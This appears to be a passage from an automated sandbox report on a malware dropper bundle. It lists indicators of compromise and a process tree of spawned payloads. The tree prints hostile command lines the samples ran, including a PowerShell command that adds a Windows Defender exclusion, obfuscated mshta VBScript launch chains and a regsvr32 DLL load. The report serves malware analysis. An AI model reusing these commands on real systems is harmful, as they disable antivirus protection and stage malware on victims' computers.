030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f 5F2D.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA tapinstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC tapinstall.exe -
Runs ping.exe 1 TTPs 6 IoCs
pid Process 6720 PING.EXE 6292 PING.EXE 2324 PING.EXE 2560 PING.EXE 5024 PING.EXE 4028 PING.EXE -
Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 20 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 30 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 60 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1436 powershell.exe 1436 powershell.exe 1436 powershell.exe 5828 WerFault.exe 5828 WerFault.exe 5596 Process not Found 5596 Process not Found 6056 cmd.exe 6056 cmd.exe 5408 WerFault.exe 5408 WerFault.exe 6116 WerFault.exe 6116 WerFault.exe 2008 Impedire.exe.com 2008 Impedire.exe.com 2544 Setup.exe 2544 Setup.exe 2544 Setup.exe 5088 WerFault.exe 5088 WerFault.exe 2544 Setup.exe 4796 WerFault.exe 4796 WerFault.exe 2668 WerFault.exe 2668 WerFault.exe 444 Ktdq46t5O7MjPO0FixVaBFaj.exe 444 Ktdq46t5O7MjPO0FixVaBFaj.exe 5584 Chrome 5.exe 5584 Chrome 5.exe 3656 msedge.exe 3656 msedge.exe 2128 setup_2.tmp 2128 setup_2.tmp 3552 8196733.exe 3552 8196733.exe 1648 msedge.exe 1648 msedge.exe 5972 1928742.exe 5972 1928742.exe 808 7393104.exe 808 7393104.exe 5448 1930627.exe 5448 1930627.exe 5032 WerFault.exe 5032 WerFault.exe 5568 WerFault.exe 5568 WerFault.exe 3964 ultramediaburner.tmp 3964 ultramediaburner.tmp 5440 5693422.exe 5440 5693422.exe 4264 6635012.exe 4264 6635012.exe 5572 sihost64.exe 5572 sihost64.exe 2352 WerFault.exe 2352 WerFault.exe 4264 6635012.exe 5436 7258913.exe 5436 7258913.exe 5436 7258913.exe 5184 Tuworykimy.exe 5184 Tuworykimy.exe 5184 Tuworykimy.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3220 Process not Found -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 3060 XQbCC7QBe_EvrWNLLyGgz1Wo.exe 7492 80FA.exe 8132 5jRNOktaE5TMChl4IoJaY5he.exe -
Suspicious behavior: SetClipboardViewer 2 IoCs
pid Process 1800 1501577.exe 5244 7271239.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeCreateTokenPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeAssignPrimaryTokenPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeLockMemoryPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeIncreaseQuotaPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeMachineAccountPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeTcbPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeSecurityPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeTakeOwnershipPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeLoadDriverPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeSystemProfilePrivilege 1820 Thu21a1ef054cac78a.exe Token: SeSystemtimePrivilege 1820 Thu21a1ef054cac78a.exe Token: SeProfSingleProcessPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeIncBasePriorityPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeCreatePagefilePrivilege 1820 Thu21a1ef054cac78a.exe Token: SeCreatePermanentPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeBackupPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeRestorePrivilege 1820 Thu21a1ef054cac78a.exe Token: SeShutdownPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeDebugPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeAuditPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeSystemEnvironmentPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeChangeNotifyPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeRemoteShutdownPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeUndockPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeSyncAgentPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeEnableDelegationPrivilege 1820 Thu21a1ef054cac78a.exe Token: SeManageVolumePrivilege 1820 Thu21a1ef054cac78a.exe Token: SeImpersonatePrivilege 1820 Thu21a1ef054cac78a.exe Token: SeCreateGlobalPrivilege 1820 Thu21a1ef054cac78a.exe Token: 31 1820 Thu21a1ef054cac78a.exe Token: 32 1820 Thu21a1ef054cac78a.exe Token: 33 1820 Thu21a1ef054cac78a.exe Token: 34 1820 Thu21a1ef054cac78a.exe Token: 35 1820 Thu21a1ef054cac78a.exe Token: SeDebugPrivilege 4548 Thu21568b0ab8.exe Token: SeDebugPrivilege 1436 powershell.exe Token: SeDebugPrivilege 1868 Thu219d5fe8cf316.exe Token: SeDebugPrivilege 2960 Thu2156de5489c19.exe Token: SeDebugPrivilege 3552 8196733.exe Token: SeRestorePrivilege 5408 WerFault.exe Token: SeBackupPrivilege 5408 WerFault.exe Token: SeBackupPrivilege 5408 WerFault.exe Token: SeDebugPrivilege 6016 services64.exe Token: SeDebugPrivilege 5808 PublicDwlBrowser1100.exe Token: SeDebugPrivilege 4540 DVORAK.exe Token: SeDebugPrivilege 5972 1928742.exe Token: SeDebugPrivilege 808 7393104.exe Token: SeDebugPrivilege 1576 schtasks.exe Token: SeDebugPrivilege 2544 Setup.exe Token: SeDebugPrivilege 5448 1930627.exe Token: SeDebugPrivilege 5496 Impedire.exe.com Token: SeDebugPrivilege 2500 installer.exe Token: SeDebugPrivilege 5584 Chrome 5.exe Token: SeDebugPrivilege 5440 5693422.exe Token: SeDebugPrivilege 5436 7258913.exe Token: SeDebugPrivilege 4264 6635012.exe Token: SeIncreaseQuotaPrivilege 1436 powershell.exe Token: SeSecurityPrivilege 1436 powershell.exe Token: SeTakeOwnershipPrivilege 1436 powershell.exe Token: SeLoadDriverPrivilege 1436 powershell.exe Token: SeSystemProfilePrivilege 1436 powershell.exe Token: SeSystemtimePrivilege 1436 powershell.exe Token: SeProfSingleProcessPrivilege 1436 powershell.exe Token: SeIncBasePriorityPrivilege 1436 powershell.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3060 Thu21b93295136197.tmp 6028 Adorarti.exe.com 6028 Adorarti.exe.com 6028 Adorarti.exe.com 5840 UltraMediaBurner.exe 5840 UltraMediaBurner.exe 5840 UltraMediaBurner.exe 5608 Adorarti.exe.com 5608 Adorarti.exe.com 5608 Adorarti.exe.com 444 stats.tmp 1648 msedge.exe 2128 setup_2.tmp 3964 ultramediaburner.tmp 5624 installer.exe 5640 IBInstaller_74449.tmp 5096 svrwebui.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe -
Suspicious use of SendNotifyMessage 33 IoCs
pid Process 6028 Adorarti.exe.com 6028 Adorarti.exe.com 6028 Adorarti.exe.com 5840 UltraMediaBurner.exe 5840 UltraMediaBurner.exe 5840 UltraMediaBurner.exe 5608 Adorarti.exe.com 5608 Adorarti.exe.com 5608 Adorarti.exe.com 6724 Rimasta.exe.com 6724 Rimasta.exe.com 6724 Rimasta.exe.com 5456 Rimasta.exe.com 5456 Rimasta.exe.com 5456 Rimasta.exe.com 660 Rimasta.exe.com 660 Rimasta.exe.com 660 Rimasta.exe.com 3188 Rimasta.exe.com 3188 Rimasta.exe.com 3188 Rimasta.exe.com 3832 Rimasta.exe.com 3832 Rimasta.exe.com 3832 Rimasta.exe.com 7368 Rimasta.exe.com 7368 Rimasta.exe.com 7368 Rimasta.exe.com 7696 Rimasta.exe.com 7696 Rimasta.exe.com 7696 Rimasta.exe.com 8140 Rimasta.exe.com 8140 Rimasta.exe.com 8140 Rimasta.exe.com -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2884 cmd.exe 5644 MaskVPNUpdate.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3220 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4768 wrote to memory of 3964 4768 setup_x86_x64_install.exe 80 PID 4768 wrote to memory of 3964 4768 setup_x86_x64_install.exe 80 PID 4768 wrote to memory of 3964 4768 setup_x86_x64_install.exe 80 PID 3964 wrote to memory of 4640 3964 setup_installer.exe 81 PID 3964 wrote to memory of 4640 3964 setup_installer.exe 81 PID 3964 wrote to memory of 4640 3964 setup_installer.exe 81 PID 4640 wrote to memory of 3956 4640 setup_install.exe 85 PID 4640 wrote to memory of 3956 4640 setup_install.exe 85 PID 4640 wrote to memory of 3956 4640 setup_install.exe 85 PID 4640 wrote to memory of 3840 4640 setup_install.exe 86 PID 4640 wrote to memory of 3840 4640 setup_install.exe 86 PID 4640 wrote to memory of 3840 4640 setup_install.exe 86 PID 4640 wrote to memory of 3820 4640 setup_install.exe 88 PID 4640 wrote to memory of 3820 4640 setup_install.exe 88 PID 4640 wrote to memory of 3820 4640 setup_install.exe 88 PID 4640 wrote to memory of 2248 4640 setup_install.exe 87 PID 4640 wrote to memory of 2248 4640 setup_install.exe 87 PID 4640 wrote to memory of 2248 4640 setup_install.exe 87 PID 4640 wrote to memory of 716 4640 setup_install.exe 89 PID 4640 wrote to memory of 716 4640 setup_install.exe 89 PID 4640 wrote to memory of 716 4640 setup_install.exe 89 PID 4640 wrote to memory of 956 4640 setup_install.exe 90 PID 4640 wrote to memory of 956 4640 setup_install.exe 90 PID 4640 wrote to memory of 956 4640 setup_install.exe 90 PID 4640 wrote to memory of 1136 4640 setup_install.exe 93 PID 4640 wrote to memory of 1136 4640 setup_install.exe 93 PID 4640 wrote to memory of 1136 4640 setup_install.exe 93 PID 4640 wrote to memory of 1320 4640 setup_install.exe 91 PID 4640 wrote to memory of 1320 4640 setup_install.exe 91 PID 4640 wrote to memory of 1320 4640 setup_install.exe 91 PID 4640 wrote to memory of 1364 4640 setup_install.exe 92 PID 4640 wrote to memory of 1364 4640 setup_install.exe 92 PID 4640 wrote to memory of 1364 4640 setup_install.exe 92 PID 3956 wrote to memory of 1436 3956 cmd.exe 112 PID 3956 wrote to memory of 1436 3956 cmd.exe 112 PID 3956 wrote to memory of 1436 3956 cmd.exe 112 PID 4640 wrote to memory of 1640 4640 setup_install.exe 111 PID 4640 wrote to memory of 1640 4640 setup_install.exe 111 PID 4640 wrote to memory of 1640 4640 setup_install.exe 111 PID 4640 wrote to memory of 1744 4640 setup_install.exe 95 PID 4640 wrote to memory of 1744 4640 setup_install.exe 95 PID 4640 wrote to memory of 1744 4640 setup_install.exe 95 PID 3840 wrote to memory of 1868 3840 cmd.exe 94 PID 3840 wrote to memory of 1868 3840 cmd.exe 94 PID 4640 wrote to memory of 1992 4640 setup_install.exe 96 PID 4640 wrote to memory of 1992 4640 setup_install.exe 96 PID 4640 wrote to memory of 1992 4640 setup_install.exe 96 PID 2248 wrote to memory of 1820 2248 cmd.exe 110 PID 2248 wrote to memory of 1820 2248 cmd.exe 110 PID 2248 wrote to memory of 1820 2248 cmd.exe 110 PID 3820 wrote to memory of 2468 3820 cmd.exe 108 PID 3820 wrote to memory of 2468 3820 cmd.exe 108 PID 3820 wrote to memory of 2468 3820 cmd.exe 108 PID 4640 wrote to memory of 2432 4640 setup_install.exe 109 PID 4640 wrote to memory of 2432 4640 setup_install.exe 109 PID 4640 wrote to memory of 2432 4640 setup_install.exe 109 PID 716 wrote to memory of 2540 716 cmd.exe 107 PID 716 wrote to memory of 2540 716 cmd.exe 107 PID 716 wrote to memory of 2540 716 cmd.exe 107 PID 1136 wrote to memory of 1296 1136 cmd.exe 97 PID 1136 wrote to memory of 1296 1136 cmd.exe 97 PID 956 wrote to memory of 3212 956 cmd.exe 106 PID 956 wrote to memory of 3212 956 cmd.exe 106 PID 956 wrote to memory of 3212 956 cmd.exe 106
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4768 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3964 -
C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4640 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:3956 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1436
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu219d5fe8cf316.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3840 -
C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\Thu219d5fe8cf316.exeThu219d5fe8cf316.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1868 -
C:\ProgramData\8196733.exe"C:\ProgramData\8196733.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3552 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3552 -s 23367⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5568
-
-
-
C:\ProgramData\3421728.exe"C:\ProgramData\3421728.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4880 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Executes dropped EXE
PID:2516
-
-
-
C:\ProgramData\5693422.exe"C:\ProgramData\5693422.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5440
-
-
C:\ProgramData\3402997.exe"C:\ProgramData\3402997.exe"6⤵
- Executes dropped EXE
PID:5792 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5792 -s 3207⤵
- Program crash
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:6116
-
-
-
C:\ProgramData\6635012.exe"C:\ProgramData\6635012.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4264
-
-
C:\ProgramData\7393104.exe"C:\ProgramData\7393104.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:808 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 808 -s 24687⤵
- Program crash
PID:5572
-
-
-
C:\ProgramData\7198253.exe"C:\ProgramData\7198253.exe"6⤵PID:5844
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\ProgramData\7198253.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\ProgramData\7198253.exe"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )7⤵PID:1552
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\ProgramData\7198253.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\ProgramData\7198253.exe" ) do taskkill /Im "%~NxB" /F8⤵PID:4140
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵PID:2540
-
-
C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXEGZ9~4QZ~O.EXe -P6_oIH__Ioj5q9⤵
- Executes dropped EXE
PID:6000 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )10⤵PID:1584
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F11⤵PID:2216
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S10⤵
- Loads dropped DLL
PID:4328
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "7198253.exe" /F9⤵
- Kills process with taskkill
PID:5496
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21a1ef054cac78a.exe4⤵
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\Thu21a1ef054cac78a.exeThu21a1ef054cac78a.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1820 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1820 -s 19286⤵
- Program crash
PID:6056
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21624565bb917a.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3820 -
C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\Thu21624565bb917a.exeThu21624565bb917a.exe5⤵
- Executes dropped EXE
PID:2468 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2468 -s 3086⤵
- Program crash
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5828
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2164f292a11ce.exe4⤵
- Suspicious use of WriteProcessMemory
PID:716 -
C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\Thu2164f292a11ce.exeThu2164f292a11ce.exe5⤵
- Executes dropped EXE
PID:2540 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2540 -s 3006⤵
- Program crash
PID:5596
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21b93295136197.exe4⤵
- Suspicious use of WriteProcessMemory
PID:956 -
C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\Thu21b93295136197.exeThu21b93295136197.exe5⤵
- Executes dropped EXE
PID:3212
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu214ce31cede21.exe4⤵PID:1320
-
C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\Thu214ce31cede21.exeThu214ce31cede21.exe5⤵
- Executes dropped EXE
PID:2352
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2156de5489c19.exe4⤵PID:1364
-
C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\Thu2156de5489c19.exeThu2156de5489c19.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2960 -
C:\Users\Admin\AppData\Local\Temp\tmpFB52_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmpFB52_tmp.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5000 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe7⤵PID:5320
-
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Attesa.wmv7⤵PID:5380
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:5712
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^VksJcWfNcDMqfgfCCoOQaENLrlkioAEZRevWUFgpnuTZyylQxdxsqDodbFGlKiEVZMohRaHWUFajKOGYZxNRyhZgTymgZtndBYqaWXYwInbclWFIZIldx$" Braccio.wmv9⤵PID:6120
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comAdorarti.exe.com u9⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:6028 -
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u10⤵PID:5840
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u11⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5608 -
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u12⤵
- Executes dropped EXE
PID:5324
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping localhost9⤵
- Runs ping.exe
PID:2560
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21b9847cb6727.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1136 -
C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\Thu21b9847cb6727.exeThu21b9847cb6727.exe5⤵
- Executes dropped EXE
PID:1296
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu214aaca5625.exe4⤵PID:1744
-
C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\Thu214aaca5625.exeThu214aaca5625.exe5⤵
- Executes dropped EXE
PID:4552 -
C:\Users\Admin\AppData\Local\Temp\is-4T3GN.tmp\Thu214aaca5625.tmp"C:\Users\Admin\AppData\Local\Temp\is-4T3GN.tmp\Thu214aaca5625.tmp" /SL5="$501EE,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\Thu214aaca5625.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4632 -
C:\Users\Admin\AppData\Local\Temp\is-PHTU4.tmp\46807GHF____.exe"C:\Users\Admin\AppData\Local\Temp\is-PHTU4.tmp\46807GHF____.exe" /S /UID=burnerch27⤵
- Executes dropped EXE
PID:2500 -
C:\Program Files\MSBuild\WSJCXOYPXV\ultramediaburner.exe"C:\Program Files\MSBuild\WSJCXOYPXV\ultramediaburner.exe" /VERYSILENT8⤵
- Executes dropped EXE
PID:5480 -
C:\Users\Admin\AppData\Local\Temp\is-EH15V.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-EH15V.tmp\ultramediaburner.tmp" /SL5="$303AA,281924,62464,C:\Program Files\MSBuild\WSJCXOYPXV\ultramediaburner.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:3964 -
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5840
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\51-a0d17-503-d83a8-6ffe372a6aad8\Kahushaefopi.exe"C:\Users\Admin\AppData\Local\Temp\51-a0d17-503-d83a8-6ffe372a6aad8\Kahushaefopi.exe"8⤵
- Executes dropped EXE
PID:2156 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e69⤵PID:5164
-
